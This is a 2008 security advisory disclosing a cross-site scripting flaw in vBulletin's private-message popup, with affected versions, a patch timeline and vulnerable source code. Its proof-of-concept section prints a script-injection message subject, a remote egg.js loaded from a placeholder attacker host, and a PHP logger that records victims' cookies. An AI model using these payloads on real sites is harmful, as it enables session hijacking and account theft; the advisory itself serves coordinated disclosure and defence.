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      Core Security Technologies - CoreLabs Advisory
           http://www.coresecurity.com/corelabs/

       vBulletin Cross Site Scripting Vulnerability


*Advisory Information*

Title: vBulletin Cross Site Scripting Vulnerability
Advisory ID: CORE-2008-0813
Advisory URL: http://www.coresecurity.com/my-advisory
Date published: 2008-08-20
Date of last update: 2008-08-19
Vendors contacted: vBulletin team
Release mode: Coordinated release


*Vulnerability Information*

Class: XSS flaw
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: N/A  
CVE Name: N/A  


*Vulnerability Description*

vBulletin [1] is a community forum solution for a wide range of users,
including industry leading companies. A XSS vulnerability has been
discovered that could allow an attacker to carry out an action
impersonating a legal user, or to obtain access to a user's account.
This flaw allows unauthorized disclosure and modification of
information, and it allows disruption of service.


*Vulnerable Packages*

. vBulletin 3.7.2 Patch Level 1.
. vBulletin 3.6.10 Patch Level 3.
. Older versions are probably affected too, but they were not checked.


*Non-vulnerable Packages*

. vBulletin 3.7.2 Patch Level 2.
. vBulletin 3.6.10 Patch Level 4.


*Vendor Information, Solutions and Workarounds*

vBulletin team has released patches for this flaw (see [2]), and new
fixed versions of vBulletin (3.6.11 and 3.7.3) will be available on
Tuesday, August 26th. Refer to [3] for more details.


*Credits*

This vulnerability was discovered and researched by Federico Muttis from
Core Security Technologies.


*Technical Description / Proof of Concept Code*

This is a Cross Site Scripting (XSS) vulnerability within vBulletin
community forum solution. In order to exploit this flaw the following
option needs to be activated:
'http://victim/vBulletin/profile.php?do=editoptions' (Show New Private
Message Notification Pop-Up enabled). There are many forums with this
option enabled by default for all new users.

The title is not being encoded in the following rendered HTML code:

/-----------

<!--
// script to show new private message popup
if (confirm("You have a new private message.\n\nSender:
[SENDER_USERNAME]\nTitle: '[PRIVATE_MESSAGE_TITLE]'\n\nClick OK to view
it, or cancel to hide this prompt."))
{
  // Output when OK is clicked
  if (confirm("Open the message in a new window?\n\n(Press cancel to open
in the current window.)"))
  {
    var winobj =
window.open("private.php?do=showpm&pmid=[PRIVATE_MESSAGE_ID]", "pmnew",
"statusbar=yes,menubar=yes,scrollbars=yes,toolbar=yes,location=yes,directories=yes,resizable=yes,top=50,left=50");
    if (winobj == null)
    {
      alert("Unable to open a new browser window,\n This might be due to a
'popup blocker'");
    }
  }
  else
  {
    window.location = "private.php?do=showpm&pmid=[PRIVATE_MESSAGE_ID]";
  }
}
// end pm popup script
//-->

- -----------/

The variable '$newpm[title]' in 'install/vbulletin-style.xml' was
previously de-sanitized in 'global.php' and only slash-escaping survives:

/-----------

//
#############################################################################
// get new private message popup
$shownewpm = false;
if ($vbulletin->userinfo['pmpopup'] == 2 AND
$vbulletin->options['checknewpm'] AND $vbulletin->userinfo['userid'] AND
!defined('NOPMPOPUP'))
{
  $userdm =& datamanager_init('User', $vbulletin, ERRTYPE_SILENT);
  $userdm->set_existing($vbulletin->userinfo);
  $userdm->set('pmpopup', 1);
  $userdm->save(true, 'pmpopup');  // 'pmpopup' tells db_update to issue a
shutdownquery of the same name
  unset($userdm);

  if (THIS_SCRIPT != 'private' AND THIS_SCRIPT != 'login')
  {
    $newpm = $db->query_first("
    SELECT pm.pmid, title, fromusername
    FROM " . TABLE_PREFIX . "pmtext AS pmtext
    LEFT JOIN " . TABLE_PREFIX . "pm AS pm USING(pmtextid)
    WHERE pm.userid = " . $vbulletin->userinfo['userid'] . "
    AND pm.folderid = 0
    ORDER BY dateline DESC
    LIMIT 1");
  
    $newpm['username'] =
addslashes_js(unhtmlspecialchars($newpm['fromusername'], true), '"');
    $newpm['title'] = addslashes_js(unhtmlspecialchars($newpm['title'],
true), '"');
    $shownewpm = true;
  }
}

- -----------/

Which of course allows XSS attacks.

The 'alert' Proof of Concept (PoC) exploit would be to write a PM to the
user you want to attack with this subject:

/-----------

- --></script><script>alert(/xss/.source)</script><!--
- -----------/

The admin impersonification exploit PoC (Working on IE6 Only) would be:

/-----------

- --></script><script src="http:"//attacker/vbStealer/egg.js></script><!--
- -----------/

Where the 'egg.js' script file is:

/-----------

// == XSS - Cookie stealing - vBulletin 3.7.2 PL1 ==
//
// Using the first method described in
// http://www.securityfocus.com/archive/107/308433
//
// To bypass HttpOnly cookie restrictions - Works in IE 6 and lower

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
XmlHttp.open("GET","http://victim/vbStealer/logger.php",false);
XmlHttp.setRequestHeader("Host","attacker");
XmlHttp.send();

- -----------/

and the 'logger.php' script file:

/-----------

<?
// == XSS - Cookie stealing - vBulletin 3.7.2 PL1 ==

$all_cookies = "";
foreach ($_COOKIE as $cookie_name => $cookie_value) {
  $all_cookies .= "$cookie_name=$cookie_value, ";
}
rtrim($all_cookies, ", ");
file_put_contents("iplog.txt", "COOKIES: ".$all_cookies."\n", FILE_APPEND);
?>

- -----------/


*Report Timeline*

. 2008-08-14: Core Security Technologies notifies the vBulletin team of
the vulnerability.
. 2008-08-14: The vBulletin team asks Core for a technical description
of the vulnerability.
. 2008-08-14: Technical details sent to vBulletin team by Core.
. 2008-08-15: vBulletin notifies Core that a fix has been produced and
will be available to the users on Monday, August 18th.
. 2008-08-18: vBulletin releases patches for this flaw to its customers.
. 2008-08-20: The advisory CORE-2008-0813 is published.


*References*

[1] http://www.vbulletin.com/
[2] http://members.vbulletin.com/patches.php
[3] http://www.vbulletin.com/forum/showthread.php?t=282133


*About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs/.


*About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.


*Disclaimer*

The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.


*GPG/PGP Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

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